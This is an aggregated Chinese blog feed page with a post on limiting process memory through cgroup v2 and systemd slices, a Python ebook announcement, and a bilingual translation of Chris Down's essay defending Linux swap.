以前在 Linux 上也沒有什麼好方法能避免這種現象。 macOS 轉用 APFS 作爲默認文件系統之後, 從文件管理器(Finder)複製文件默認啓用 file clone 快速完成,這操作不實際複製文件數據, 一個隱含優勢在不需要讀入文件內容,從而不會導致大量頁面緩存失效。 Linux 上同樣可以用支持 reflink 的文件系統比如 btrfs 或者開了 reflink=1 的 xfs 達到類似的效果。 不過 reflink 也只能拯救複製文件的情況,不能改善解壓文件、下載文件、計算文件校驗等情況下, 一次性處理大文件對內存產生的壓力。

好在最近幾年 Linux 有了 cgroup ,允許更細粒度地調整系統資源分配。進一步現在我們有了 cgroup v2 ,前面 Chris 的文章也有提到 cgroup v2 的 memory.low 可以某種程度上建議內存子系統 儘量避免回收某些 cgroup 進程的內存。

於是有了 cgroup 之後,另一種思路是把複製文件等大量使用內存而之後又不需要保留頁面緩存的程序單獨放入 cgroup 內限制它的內存用量,用一點點複製文件時的性能損失換來整體系統的響應流暢度。

關於 cgroup v1 和 v2

稍微跑題說一下 cgroup v2 相對於 v1 帶來的優勢。這方面優勢在 Chris Down 另一個關於 cgroup v2 演講 中有提到。老 cgroup v1 按控制器區分 cgroup 層級,從而內存控制器所限制的東西和 IO 控制器所限制的東西是獨立的。在內核角度來看,頁面寫回(page writeback)和交換(swap)正是 夾在內存控制器和IO控制器管理的邊界上,從而用 v1 的 cgroup 難以同時管理。 v2 通過統一控制器層級解決了這方面限制。具體見下面 Chris Down 的演講。

用 cgroup v2 限制進程的內存分配

實際上有了 cgroup v2 之後,還有更多控制內存分配的方案。 cgroup v2 的內存控制器 可以對某個 cgroup 設置這些閾值:

  • memory.min : 最小內存限制。內存用量低於此值後系統不會回收內存。
  • memory.low : 低內存水位。內存用量低於此值後系統會儘量避免回收內存。
  • memory.high : 高內存水位。內存用量高於此值後系統會積極回收內存,並且會對內存分配節流(throttle)。
  • memory.max : 最大內存限制。內存用量高於此值後系統會對內存分配請求返回 ENOMEM,或者在 cgroup 內觸發 OOM 。

可見這些設定值可以當作 per-cgroup 的內存分配水位線,作用於某一部分進程而非整個系統。 針對交換區使用情況也可設置這些閾值:

  • memory.swap.high : 高交換區水位,交換區用量高於此值後會對交換區分配節流。
  • memory.swap.max : 最大交換區限制,交換區用量高於此值後不再會發生匿名頁交換。

到達這些 cgroup 設定閾值的時候,還可以設置內核回調的處理程序,從用戶空間做一些程序相關的操作。

Linux 有了 cgroup v2 之後,就可以通過對某些程序設置內存用量限制,避免他們產生的頁面請求把別的 程序所需的頁面擠出物理內存。使用 systemd 的系統中,首先需要 啓用 cgroup v2 ,在內核引導參數中加上 systemd.unified_cgroup_hierarchy=1 。然後開啓用戶權限代理:

# systemctl edit user@1000.service
[Service]
Delegate=yes

然後可以定義用戶會話的 slice (slice 是 systemd 術語,用來映射 cgroup ),比如創建一個叫 limit-mem 的 slice :

$ cat ~/.config/systemd/user/limit-mem.slice
[Slice]
MemoryHigh=3G
MemoryMax=4G
MemorySwapMax=2G

然後可以用 systemd-run 限制在某個 slice 中打開一個 shell:

$ systemd-run --user --slice=limit-mem.slice --shell

或者定義一個 shell alias 用來限制任意命令:

$ type limit-mem
limit-mem is an alias for /usr/bin/time systemd-run --user --pty --same-dir --wait --collect --slice=limit-mem.slice
$ limit-mem cp some-large-file dest/

實際用法有很多,可以參考 systemd 文檔 man systemd.resource-controlxuanwo有篇博客介紹過 systemd 下資源限制lilydjwg寫過用 cgroup 限制進程內存的用法用 cgroup 之後對 CPU 調度的影響

未來展望

最近新版的 gnome 和 KDE 已經開始爲桌面環境下用戶程序的進程創建 systemd scope 了, 可以通過 systemd-cgls 觀察到,每個通過桌面文件(.desktop)開啓的用戶空間程序 都有個獨立的名字叫 app-APPNAME-HASH.scope 之類的 systemd scope 。 有了這些 scope 之後,事實上用戶程序的資源分配某種程度上已經相互獨立, 不過默認的用戶程序沒有施加多少限制。

今後可以展望,桌面環境可以提供用戶友好的方式對這些桌面程序施加公平性的限制。 不光是內存分配的大小限制,包括 CPU 和 IO 佔用方面也會更公平。 值得一提的是傳統的 ext4/xfs/f2fs 之類的文件系統雖然支持 cgroup writeback 節流 但是因爲他們有額外的 journaling 寫入,難以單獨針對某些 cgroup 限制 IO 寫入帶寬(對文件系統元數據的寫入難以統計到具體某組進程)。 而 btrfs 通過 CoW 避免了 journaling , 在這方面有更好的支持 。相信不遠的將來,複製大文件之類常見普通操作不再需要手動調用加以限制, 就能避免單個程序佔用太多資源影響別的程序。

by farseerfc at October 06, 2020 04:45 AM

pythoncat

耗时两年,我终于出了一本电子书!

2018 年国庆节前,我开通了微信公众号“Python猫”,写下了“喵星来客”系列的第一篇文章。
2020 年国庆节前,我累计创作和翻译了 130+ Python 技术文章。
时光匆匆,两年光阴很快就过去了。
在这个特殊的时间节点上,我感觉有必要把创作的内容做一下梳理,于是,也就诞生出了这一本自制的电子书——《优雅的Python》。
看得出来,书名模仿了《流畅的Python》,主要原因是我非常喜欢它,而且正是因为这本书带给我学习 Python 时的很多启发,我才敢于走上技术写作的道路。
Python 简明优雅,使用体验极为舒服,因此在书名中使用“优雅的”这个形容词,不仅是在致敬“流畅的”,而且也非常之贴切。
在 Python 简单易学的基础知识之上,我想要更进一步探索它的进阶内容,了解它在语言设计上的方方面面,同时,我还非常关心 Python 官方动态和技术社区的信息,这些东西构成了我创作/翻译的主体内容。
这本电子书收录了我绝大部分的原创作品,划分成了六个章节:
第一章是“基础与进阶”,占据了全书最大的篇幅。这里没有循序渐进的入门级内容,所以多数文章并不适合初学者。
第二章是“Python为什么”系列,该系列主要关注 Python 的语法、设计和发展等话题,以一个个“为什么”式的问题为切入点,试着展现 Python 的迷人魅力。
该系列是我现阶段最主要的创作方向,慢慢地会由基础的语法点触及到 Python 的更多面貌。文章内容有较高的独创性,彼此之间也有比较多的关联性,可读性很强。
第三章是“翻译与写作”。我翻译了 20 多篇材料,在 Github 上开了两个翻译系列的仓库(甚至建了一个翻译交流群),其中有些故事/看法/经验值得与大家分享。
第四章是“荐书系列”。这个系列会推荐一些技术书籍,早期预想是一两周写一篇,但后来由于逐渐走向了“精读书评”的风格,导致难以为续……
第五章”社区时事“主要收录了几篇关于 Python 之父”退位—选举—重回决策层“的内容,以及 Python2 落幕和 PyCon 大会的新闻。
关注社区最新动态,这应该是一种提升”Python世界观“的主要途径。
最后一章是“喵星来客”系列。它是我的创作“初心”之所在,念念不忘!
小说创作与技术写作,对应文学思维与理工科思维,差别太大了,而我的野心是在它们之中再加上哲学。在尝试了几篇之后,我审慎地暂时搁笔了,期待着自己有更多的知识积淀和写作经验,到时机成熟的时候,我会再回来的。
以上就是电子书《优雅的Python》的内容梗概。
也许在章节编排和制作设计上,它还很粗糙,但我可以保证,它的内容诚意十足!
那么,如何获取这本免费的电子书呢?
方式一:关注“Python猫”公众号,回复【优雅的Python】,就能获取到下载链接啦。
方式二:本书已分享在语雀上(https://www.yuque.com/wandouhuaxiamao/pythoncat),可在线阅读&留言评论。

October 06, 2020 12:00 AM

September 30, 2020

farseerfc

【譯】替 swap 辯護:常見的誤解

這篇翻譯自 Chris Down 的博文 In defence of swap: common misconceptions原文的協議CC BY-SA 4.0 ,本文翻譯同樣也使用 CC BY-SA 4.0 。其中加入了一些我自己的理解作爲旁註,所有譯註都在側邊欄中。

翻譯這篇文章是因爲經常看到朋友們(包括有經驗的程序員和 Linux 管理員)對 swap 和 swappiness 有諸多誤解,而這篇文章正好澄清了這些誤解,也講清楚了 Linux 中這兩者的本質。值得一提的是本文討論的 swap 針對 Linux 內核,在別的系統包括 macOS/WinNT 或者 Unix 系統中的交換文件可能有不同一樣的行爲, 需要不同的調優方式。比如在 FreeBSD handbook 中明確建議了 swap 分區通常應該是兩倍物理內存大小,這一點建議對 FreeBSD 系內核的內存管理可能非常合理, 而不一定適合 Linux 內核,FreeBSD 和 Linux 有不同的內存管理方式尤其是 swap 和 page cache 和 buffer cache 的處理方式有諸多不同。

經常有朋友看到系統卡頓之後看系統內存使用狀況觀察到大量 swap 佔用,於是覺得卡頓是來源於 swap 。就像文中所述,相關不蘊含因果,產生內存顛簸之後的確會造成大量 swap 佔用,也會造成系統卡頓, 但是 swap 不是導致卡頓的原因,關掉 swap 或者調低 swappiness 並不能阻止卡頓,只會將 swap 造成的 I/O 轉化爲加載文件緩存造成的 I/O 。

以下是原文翻譯:


這篇文章也有 日文俄文 翻譯。

tl;dr:

  1. Having swap is a reasonably important part of a well functioning system. Without it, sane memory management becomes harder to achieve.
  2. Swap is not generally about getting emergency memory, it's about making memory reclamation egalitarian and efficient. In fact, using it as "emergency memory" is generally actively harmful.
  3. Disabling swap does not prevent disk I/O from becoming a problem under memory contention, it simply shifts the disk I/O thrashing from anonymous pages to file pages. Not only may this be less efficient, as we have a smaller pool of pages to select from for reclaim, but it may also contribute to getting into this high contention state in the first place.
  4. The swapper on kernels before 4.0 has a lot of pitfalls, and has contributed to a lot of people's negative perceptions about swap due to its overeagerness to swap out pages. On kernels >4.0, the situation is significantly better.
  5. On SSDs, swapping out anonymous pages and reclaiming file pages are essentially equivalent in terms of performance/latency. On older spinning disks, swap reads are slower due to random reads, so a lower vm.swappiness setting makes sense there (read on for more about vm.swappiness ).
  6. Disabling swap doesn't prevent pathological behaviour at near-OOM, although it's true that having swap may prolong it. Whether the system global OOM killer is invoked with or without swap, or was invoked sooner or later, the result is the same: you are left with a system in an unpredictable state. Having no swap doesn't avoid this.
  7. You can achieve better swap behaviour under memory pressure and prevent thrashing using memory.low and friends in cgroup v2.

太長不看:

  1. 對維持系統的正常功能而言,有 swap 是相對挺重要的一部分。沒有它的話會更難做到合理的內存管理。
  2. swap 的目的通常並不是用作緊急內存,它的目的在於讓內存回收能更平等和高效。 事實上把它當作「緊急內存」來用的想法通常是有害的。
  3. 禁用 swap 在內存壓力下並不能避免磁盤I/O造成的性能問題,這麼做只是讓磁盤I/O顛簸的範圍從 匿名頁面轉化到文件頁面。這不僅更低效,因爲系統能回收的頁面的選擇範圍更有限了, 而且這種做法還可能是加重了內存壓力的原因之一。
  4. 內核 4.0 版本之前的交換進程(swapper)有一些問題,導致很多人對 swap 有負面印象, 因爲它太急於(overeagerness)把頁面交換出去。在 4.0 之後的內核上這種情況已經改善了很多。
  5. 在 SSD 上,交換出匿名頁面的開銷和回收文件頁面的開銷基本上在性能/延遲方面沒有區別。 在老式的磁盤上,讀取交換文件因爲屬於隨機訪問讀取所以會更慢,於是設置較低的 vm.swappiness 可能比較合理(繼續讀下面關於 vm.swappiness 的描述)。
  6. 禁用 swap 並不能避免在接近 OOM 狀態下最終表現出的症狀,儘管的確有 swap 的情況下這種症狀持續的時間可能會延長。在系統調用 OOM 殺手的時候無論有沒有啓用 swap ,或者更早/更晚開始調用 OOM 殺手,結果都是一樣的:整個系統留在了一種不可預知的狀態下。 有 swap 也不能避免這一點。
  7. 可以用 cgroup v2 的 memory.low 相關機制來改善內存壓力下 swap 的行爲並且 避免發生顛簸。

As part of my work improving kernel memory management and cgroup v2, I've been talking to a lot of engineers about attitudes towards memory management, especially around application behaviour under pressure and operating system heuristics used under the hood for memory management.

我的工作的一部分是改善內核中內存管理和 cgroup v2 相關,所以我和很多工程師討論過看待內存管理的態度, 尤其是在壓力下應用程序的行爲和操作系統在底層內存管理中用的基於經驗的啓發式決策邏輯。

A repeated topic in these discussions has been swap. Swap is a hotly contested and poorly understood topic, even by those who have been working with Linux for many years. Many see it as useless or actively harmful: a relic of a time where memory was scarce, and disks were a necessary evil to provide much-needed space for paging. This is a statement that I still see being batted around with relative frequency in recent years, and I've had many discussions with colleagues, friends, and industry peers to help them understand why swap is still a useful concept on modern computers with significantly more physical memory available than in the past.

在這種討論中經常重複的話題是交換區(swap)。交換區的話題是非常有爭議而且很少被理解的話題,甚至包括那些在 Linux 上工作過多年的人也是如此。很多人覺得它沒什麼用甚至是有害的:它是歷史遺蹟,從內存緊缺而 磁盤讀寫是必要之惡的時代遺留到現在,爲計算機提供在當年很必要的頁面交換功能作爲內存空間。 最近幾年我還經常能以一定頻度看到這種論調,然後我和很多同事、朋友、業界同行們討論過很多次, 幫他們理解爲什麼在現代計算機系統中交換區仍是有用的概念,即便現在的電腦中物理內存已經遠多於過去。

There's also a lot of misunderstanding about the purpose of swap – many people just see it as a kind of "slow extra memory" for use in emergencies, but don't understand how it can contribute during normal load to the healthy operation of an operating system as a whole.

圍繞交換區的目的還有很多誤解——很多人覺得它只是某種爲了應對緊急情況的「慢速額外內存」, 但是沒能理解在整個操作系統健康運作的時候它也能改善普通負載的性能。

Many of us have heard most of the usual tropes about memory: " Linux uses too much memory ", " swap should be double your physical memory size ", and the like. While these are either trivial to dispel, or discussion around them has become more nuanced in recent years, the myth of "useless" swap is much more grounded in heuristics and arcana rather than something that can be explained by simple analogy, and requires somewhat more understanding of memory management to reason about.

我們很多人也聽說過描述內存時所用的常見說法: 「 Linux 用了太多內存 」,「 swap 應該設爲物理內存的兩倍大小 」,或者類似的說法。 雖然這些誤解要麼很容易化解,或者關於他們的討論在最近幾年已經逐漸變得瑣碎,但是關於「無用」交換區 的傳言有更深的經驗傳承的根基,而不是一兩個類比就能解釋清楚的,並且要探討這個先得對內存管理有 一些基礎認知。

This post is mostly aimed at those who administrate Linux systems and are interested in hearing the counterpoints to running with undersized/no swap or running with vm.swappiness set to 0.

本文主要目標是針對那些管理 Linux 系統並且有興趣理解「讓系統運行於低/無交換區狀態」或者「把 vm.swappiness 設爲 0 」這些做法的反論。

背景

It's hard to talk about why having swap and swapping out pages are good things in normal operation without a shared understanding of some of the basic underlying mechanisms at play in Linux memory management, so let's make sure we're on the same page.

如果沒有基本理解 Linux 內存管理的底層機制是如何運作的,就很難討論爲什麼需要交換區以及交換出頁面 對正常運行的系統爲什麼是件好事,所以我們先確保大家有討論的基礎。

內存的類型

There are many different types of memory in Linux, and each type has its own properties. Understanding the nuances of these is key to understanding why swap is important.

Linux 中內存分爲好幾種類型,每種都有各自的屬性。想理解爲什麼交換區很重要的關鍵一點在於理解這些的細微區別。

For example, there are pages ("blocks" of memory, typically 4k) responsible for holding the code for each process being run on your computer. There are also pages responsible for caching data and metadata related to files accessed by those programs in order to speed up future access. These are part of the page cache , and I will refer to them as file memory.

比如說,有種 頁面(「整塊」的內存,通常 4K) 是用來存放電腦裏每個程序運行時各自的代碼的。 也有頁面用來保存這些程序所需要讀取的文件數據和元數據的緩存,以便加速隨後的文件讀寫。 這些內存頁面構成 頁面緩存(page cache),後文中我稱他們爲文件內存。

There are also pages which are responsible for the memory allocations made inside that code, for example, when new memory that has been allocated with malloc is written to, or when using mmap 's MAP_ANONYMOUS flag. These are "anonymous" pages – so called because they are not backed by anything – and I will refer to them as anon memory.

還有一些頁面是在代碼執行過程中做的內存分配得到的,比如說,當代碼調用 malloc 能分配到新內存區,或者使用 mmap MAP_ANONYMOUS 標誌分配的內存。 這些是「匿名(anonymous)」頁面——之所以這麼稱呼它們是因爲他們沒有任何東西作後備—— 後文中我稱他們爲匿名內存。

There are other types of memory too – shared memory, slab memory, kernel stack memory, buffers, and the like – but anonymous memory and file memory are the most well known and easy to understand ones, so I will use these in my examples, although they apply equally to these types too.

還有其它類型的內存——共享內存、slab內存、內核棧內存、文件緩衝區(buffers),這種的—— 但是匿名內存和文件內存是最知名也最好理解的,所以後面的例子裏我會用這兩個說明, 雖然後面的說明也同樣適用於別的這些內存類型。

可回收/不可回收內存

One of the most fundamental questions when thinking about a particular type of memory is whether it is able to be reclaimed or not. "Reclaim" here means that the system can, without losing data, purge pages of that type from physical memory.

考慮某種內存的類型時,一個非常基礎的問題是這種內存是否能被回收。 「回收(Reclaim)」在這裏是指系統可以,在不丟失數據的前提下,從物理內存中釋放這種內存的頁面。

For some page types, this is typically fairly trivial. For example, in the case of clean (unmodified) page cache memory, we're simply caching something that we have on disk for performance, so we can drop the page without having to do any special operations.

對一些內存類型而言,是否可回收通常可以直接判斷。比如對於那些乾淨(未修改)的頁面緩存內存, 我們只是爲了性能在用它們緩存一些磁盤上現有的數據,所以我們可以直接扔掉這些頁面, 不需要做什麼特殊的操作。

For some page types, this is possible, but not trivial. For example, in the case of dirty (modified) page cache memory, we can't just drop the page, because the disk doesn't have our modifications yet. As such we either need to deny reclamation or first get our changes back to disk before we can drop this memory.

對有些內存類型而言,回收是可能的,但是不是那麼直接。比如對髒(修改過)的頁面緩存內存, 我們不能直接扔掉這些頁面,因爲磁盤上還沒有寫入我們所做的修改。這種情況下,我們可以選擇拒絕回收, 或者選擇先等待我們的變更寫入磁盤之後才能扔掉這些內存。

For some page types, this is not possible. For example, in the case of the anonymous pages mentioned previously, they only exist in memory and in no other backing store, so they have to be kept there.

對還有些內存類型而言,是不能回收的。比如前面提到的匿名頁面,它們只存在於內存中,沒有任何後備存儲, 所以它們必須留在內存裏。

說到交換區的本質

If you look for descriptions of the purpose of swap on Linux, you'll inevitably find many people talking about it as if it is merely an extension of the physical RAM for use in emergencies. For example, here is a random post I got as one of the top results from typing "what is swap" in Google:

Swap is essentially emergency memory; a space set aside for times when your system temporarily needs more physical memory than you have available in RAM. It's considered "bad" in the sense that it's slow and inefficient, and if your system constantly needs to use swap then it obviously doesn't have enough memory. […] If you have enough RAM to handle all of your needs, and don't expect to ever max it out, then you should be perfectly safe running without a swap space.

如果你去搜 Linux 上交換區的目的的描述,肯定會找到很多人說交換區只是在緊急時用來擴展物理內存的機制。 比如下面這段是我在 google 中輸入「什麼是 swap」 從前排結果中隨機找到的一篇:

交換區本質上是緊急內存;是爲了應對你的系統臨時所需內存多餘你現有物理內存時,專門分出一塊額外空間。 大家覺得交換區「不好」是因爲它又慢又低效,並且如果你的系統一直需要使用交換區那說明它明顯沒有足夠的內存。 [……]如果你有足夠內存覆蓋所有你需要的情況,而且你覺得肯定不會用滿內存,那麼完全可以不用交換區 安全地運行系統。
To be clear, I don't blame the poster of this comment at all for the content of their post – this is accepted as "common knowledge" by a lot of Linux sysadmins and is probably one of the most likely things that you will hear from one if you ask them to talk about swap. It is unfortunately also, however, a misunderstanding of the purpose and use of swap, especially on modern systems.

事先說明,我不想因爲這些文章的內容責怪這些文章的作者——這些內容被很多 Linux 系統管理員認爲是「常識」, 並且很可能你問他們什麼是交換區的時候他們會給你這樣的回答。但是也很不幸的是, 這種認識是使用交換區的目的的一種普遍誤解,尤其在現代系統上。

Above, I talked about reclamation for anonymous pages being "not possible", as anonymous pages by their nature have no backing store to fall back to when being purged from memory – as such, their reclamation would result in complete data loss for those pages. What if we could create such a store for these pages, though?

前文中我說過回收匿名頁面的內存是「不可能的」,因爲匿名內存的特點,把它們從內存中清除掉之後, 沒有別的存儲區域能作爲他們的備份——因此,要回收它們會造成數據丟失。但是,如果我們爲這種內存頁面創建 一種後備存儲呢?

Well, this is precisely what swap is for. Swap is a storage area for these seemingly "unreclaimable" pages that allows us to page them out to a storage device on demand. This means that they can now be considered as equally eligible for reclaim as their more trivially reclaimable friends, like clean file pages, allowing more efficient use of available physical memory.

嗯,這正是交換區存在的意義。交換區是一塊存儲空間,用來讓這些看起來「不可回收」的內存頁面在需要的時候 可以交換到存儲設備上。這意味着有了交換區之後,這些匿名頁面也和別的那些可回收內存一樣, 可以作爲內存回收的候選,就像乾淨文件頁面,從而允許更有效地使用物理內存。

Swap is primarily a mechanism for equality of reclamation, not for emergency "extra memory". Swap is not what makes your application slow – entering overall memory contention is what makes your application slow.

交換區主要是爲了平等的回收機制,而不是爲了緊急情況的「額外內存」。使用交換區不會讓你的程序變慢—— 進入內存競爭的狀態才是讓程序變慢的元兇。

So in what situations under this "equality of reclamation" scenario would we legitimately choose to reclaim anonymous pages? Here are, abstractly, some not uncommon scenarios:

那麼在這種「平等的可回收機遇」的情況下,讓我們選擇回收匿名頁面的行爲在何種場景中更合理呢? 抽象地說,比如在下述不算罕見的場景中:

  1. During initialisation, a long-running program may allocate and use many pages. These pages may also be used as part of shutdown/cleanup, but are not needed once the program is "started" (in an application-specific sense). This is fairly common for daemons which have significant dependencies to initialise.
  2. During the program's normal operation, we may allocate memory which is only used rarely. It may make more sense for overall system performance to require a major fault to page these in from disk on demand, instead using the memory for something else that's more important.
  1. 程序初始化的時候,那些長期運行的程序可能要分配和使用很多頁面。這些頁面可能在最後的關閉/清理的 時候還需要使用,但是在程序「啓動」之後(以具體的程序相關的方式)持續運行的時候不需要訪問。 對後臺服務程序來說,很多後臺程序要初始化不少依賴庫,這種情況很常見。
  2. 在程序的正常運行過程中,我們可能分配一些很少使用的內存。對整體系統性能而言可能比起讓這些內存頁 一直留在內存中,只有在用到的時候才按需把它們用 缺頁異常(major fault) 換入內存, 可以空出更多內存留給更重要的東西。

考察有無交換區時會發生什麼

Let's look at typical situations, and how they perform with and without swap present. I talk about metrics around "memory contention" in my talk on cgroup v2 .

我們來看一些在常見場景中,有無交換區時分別會如何運行。 在我的 關於 cgroup v2 的演講 中探討過「內存競爭」的指標。

在無/低內存競爭的狀態下

  • With swap: We can choose to swap out rarely-used anonymous memory that may only be used during a small part of the process lifecycle, allowing us to use this memory to improve cache hit rate, or do other optimisations.
  • Without swap We cannot swap out rarely-used anonymous memory, as it's locked in memory. While this may not immediately present as a problem, on some workloads this may represent a non-trivial drop in performance due to stale, anonymous pages taking space away from more important use.
  • 有交换区: 我們可以選擇換出那些只有在進程生存期內很小一部分時間會訪問的匿名內存, 這允許我們空出更多內存空間用來提升緩存命中率,或者做別的優化。
  • 無交換區: 我們不能換出那些很少使用的匿名內存,因爲它們被鎖在了內存中。雖然這通常不會直接表現出問題, 但是在一些工作條件下這可能造成卡頓導致不平凡的性能下降,因爲匿名內存佔着空間不能給 更重要的需求使用。
譯註:關於 內存熱度內存顛簸(thrash)

討論內核中內存管理的時候經常會說到內存頁的 冷熱 程度。這裏冷熱是指歷史上內存頁被訪問到的頻度, 內存管理的經驗在說,歷史上在近期頻繁訪問的 內存,在未來也可能被頻繁訪問, 從而應該留在物理內存裏;反之歷史上不那麼頻繁訪問的 內存,在未來也可能很少被用到, 從而可以考慮交換到磁盤或者丟棄文件緩存。

顛簸(thrash) 這個詞在文中出現多次但是似乎沒有詳細介紹,實際計算機科學專業的課程中應該有講過。 一段時間內,讓程序繼續運行所需的熱內存總量被稱作程序的工作集(workset),估算工作集大小, 換句話說判斷進程分配的內存頁中哪些屬於 內存哪些屬於 內存,是內核中 內存管理的最重要的工作。當分配給程序的內存大於工作集的時候,程序可以不需要等待I/O全速運行; 而當分配給程序的內存不足以放下整個工作集的時候,意味着程序每執行一小段就需要等待換頁或者等待 磁盤緩存讀入所需內存頁,產生這種情況的時候,從用戶角度來看可以觀察到程序肉眼可見的「卡頓」。 當系統中所有程序都內存不足的時候,整個系統都處於顛簸的狀態下,響應速度直接降至磁盤I/O的帶寬。 如本文所說,禁用交換區並不能防止顛簸,只是從等待換頁變成了等待文件緩存, 給程序分配超過工作集大小的內存才能防止顛簸。

在中/高內存競爭的狀態下

  • With swap: All memory types have an equal possibility of being reclaimed. This means we have more chance of being able to reclaim pages successfully – that is, we can reclaim pages that are not quickly faulted back in again (thrashing).
  • Without swap Anonymous pages are locked into memory as they have nowhere to go. The chance of successful long-term page reclamation is lower, as we have only some types of memory eligible to be reclaimed at all. The risk of page thrashing is higher. The casual reader might think that this would still be better as it might avoid having to do disk I/O, but this isn't true – we simply transfer the disk I/O of swapping to dropping hot page caches and dropping code segments we need soon.
  • 有交换区: 所有內存類型都有平等的被回收的可能性。這意味着我們回收頁面有更高的成功率—— 成功回收的意思是說被回收的那些頁面不會在近期內被缺頁異常換回內存中(顛簸)。
  • 無交換區: 匿名內存因爲無處可去所以被鎖在內存中。長期內存回收的成功率變低了,因爲我們成體上 能回收的頁面總量少了。發生缺頁顛簸的危險性更高了。缺乏經驗的讀者可能覺得這某時也是好事, 因爲這能避免進行磁盤I/O,但是實際上不是如此——我們只是把交換頁面造成的磁盤I/O變成了扔掉熱緩存頁 和扔掉代碼段,這些頁面很可能馬上又要從文件中讀回來。

在臨時內存佔用高峰時

  • With swap: We're more resilient to temporary spikes, but in cases of severe memory starvation, the period from memory thrashing beginning to the OOM killer may be prolonged. We have more visibility into the instigators of memory pressure and can act on them more reasonably, and can perform a controlled intervention.
  • Without swap The OOM killer is triggered more quickly as anonymous pages are locked into memory and cannot be reclaimed. We're more likely to thrash on memory, but the time between thrashing and OOMing is reduced. Depending on your application, this may be better or worse. For example, a queue-based application may desire this quick transfer from thrashing to killing. That said, this is still too late to be really useful – the OOM killer is only invoked at moments of severe starvation, and relying on this method for such behaviour would be better replaced with more opportunistic killing of processes as memory contention is reached in the first place.
  • 有交换区: 我們對內存使用激增的情況更有抵抗力,但是在嚴重的內存不足的情況下, 從開始發生內存顛簸到 OOM 殺手開始工作的時間會被延長。內存壓力造成的問題更容易觀察到, 從而可能更有效地應對,或者更有機會可控地干預。
  • 無交換區: 因爲匿名內存被鎖在內存中了不能被回收,所以 OOM 殺手會被更早觸發。 發生內存顛簸的可能性更大,但是發生顛簸之後到 OOM 解決問題的時間間隔被縮短了。 基於你的程序,這可能更好或是更糟。比如說,基於隊列的程序可能更希望這種從顛簸到殺進程的轉換更快發生。 即便如此,發生 OOM 的時機通常還是太遲於是沒什麼幫助——只有在系統極度內存緊缺的情況下才會請出 OOM 殺手,如果想依賴這種行爲模式,不如換成更早殺進程的方案,因爲在這之前已經發生內存競爭了。

好吧,所以我需要系統交換區,但是我該怎麼爲每個程序微調它的行爲?

You didn't think you'd get through this entire post without me plugging cgroup v2, did you? ;-)

你肯定想到了我寫這篇文章一定會在哪兒插點 cgroup v2 的安利吧? ;-)

Obviously, it's hard for a generic heuristic algorithm to be right all the time, so it's important for you to be able to give guidance to the kernel. Historically the only tuning you could do was at the system level, using vm.swappiness . This has two problems: vm.swappiness is incredibly hard to reason about because it only feeds in as a small part of a larger heuristic system, and it also is system-wide instead of being granular to a smaller set of processes.

顯然,要設計一種對所有情況都有效的啓發算法會非常難,所以給內核提一些指引就很重要。 歷史上我們只能在整個系統層面做這方面微調,通過 vm.swappiness 。這有兩方面問題: vm.swappiness 的行爲很難準確控制,因爲它只是傳遞給一個更大的啓發式算法中的一個小參數; 並且它是一個系統級別的設置,沒法針對一小部分進程微調。

You can also use mlock to lock pages into memory, but this requires either modifying program code, fun with LD_PRELOAD , or doing horrible things with a debugger at runtime. In VM-based languages this also doesn't work very well, since you generally have no control over allocation and end up having to mlockall , which has no precision towards the pages you actually care about.

你可以用 mlock 把頁面鎖在內存裏,但是這要麼必須改程序代碼,或者折騰 LD_PRELOAD ,或者在運行期用調試器做一些魔法操作。對基於虛擬機的語言來說這種方案也不能 很好工作,因爲通常你沒法控制內存分配,最後得用上 mlockall ,而這個沒有辦法精確指定你實際上想鎖住的頁面。

cgroup v2 has a tunable per-cgroup in the form of memory.low , which allows us to tell the kernel to prefer other applications for reclaim below a certain threshold of memory used. This allows us to not prevent the kernel from swapping out parts of our application, but prefer to reclaim from other applications under memory contention. Under normal conditions, the kernel's swap logic is generally pretty good, and allowing it to swap out pages opportunistically generally increases system performance. Swap thrash under heavy memory contention is not ideal, but it's more a property of simply running out of memory entirely than a problem with the swapper. In these situations, you typically want to fail fast by self-killing non-critical processes when memory pressure starts to build up.

cgroup v2 提供了一套可以每個 cgroup 微調的 memory.low ,允許我們告訴內核說當使用的內存低於一定閾值之後優先回收別的程序的內存。這可以讓我們不強硬禁止內核 換出程序的一部分內存,但是當發生內存競爭的時候讓內核優先回收別的程序的內存。在正常條件下, 內核的交換邏輯通常還是不錯的,允許它有條件地換出一部分頁面通常可以改善系統性能。在內存競爭的時候 發生交換顛簸雖然不理想,但是這更多地是單純因爲整體內存不夠了,而不是因爲交換進程(swapper)導致的問題。 在這種場景下,你通常希望在內存壓力開始積攢的時候通過自殺一些非關鍵的進程的方式來快速退出(fail fast)。

You can not simply rely on the OOM killer for this. The OOM killer is only invoked in situations of dire failure when we've already entered a state where the system is severely unhealthy and may well have been so for a while. You need to opportunistically handle the situation yourself before ever thinking about the OOM killer.

你不能依賴 OOM 殺手達成這個。 OOM 殺手只有在非常急迫的情況下纔會出動,那時系統已經處於極度不健康的 狀態了,而且很可能在這種狀態下保持了一陣子了。需要在開始考慮 OOM 殺手之前,積極地自己處理這種情況。

Determination of memory pressure is somewhat difficult using traditional Linux memory counters, though. We have some things which seem somewhat related, but are merely tangential – memory usage, page scans, etc – and from these metrics alone it's very hard to tell an efficient memory configuration from one that's trending towards memory contention. There is a group of us at Facebook, spearheaded by Johannes , working on developing new metrics that expose memory pressure more easily that should help with this in future. If you're interested in hearing more about this, I go into detail about one metric being considered in my talk on cgroup v2.

不過,用傳統的 Linux 內存統計數據還是挺難判斷內存壓力的。我們有一些看起來相關的系統指標,但是都 只是支離破碎的——內存用量、頁面掃描,這些——單純從這些指標很難判斷系統是處於高效的內存利用率還是 在滑向內存競爭狀態。我們在 Facebook 有個團隊,由 Johannes 牽頭,努力開發一些能評價內存壓力的新指標,希望能在今後改善目前的現狀。 如果你對這方面感興趣, 在我的 cgroup v2 的演講中介紹到一個被提議的指標

調優

那麼,我需要多少交換空間?

In general, the minimum amount of swap space required for optimal memory management depends on the number of anonymous pages pinned into memory that are rarely reaccessed by an application, and the value of reclaiming those anonymous pages. The latter is mostly a question of which pages are no longer purged to make way for these infrequently accessed anonymous pages.

通常而言,最優內存管理所需的最小交換空間取決於程序固定在內存中而又很少訪問到的匿名頁面的數量, 以及回收這些匿名頁面換來的價值。後者大體上來說是問哪些頁面不再會因爲要保留這些很少訪問的匿名頁面而 被回收掉騰出空間。

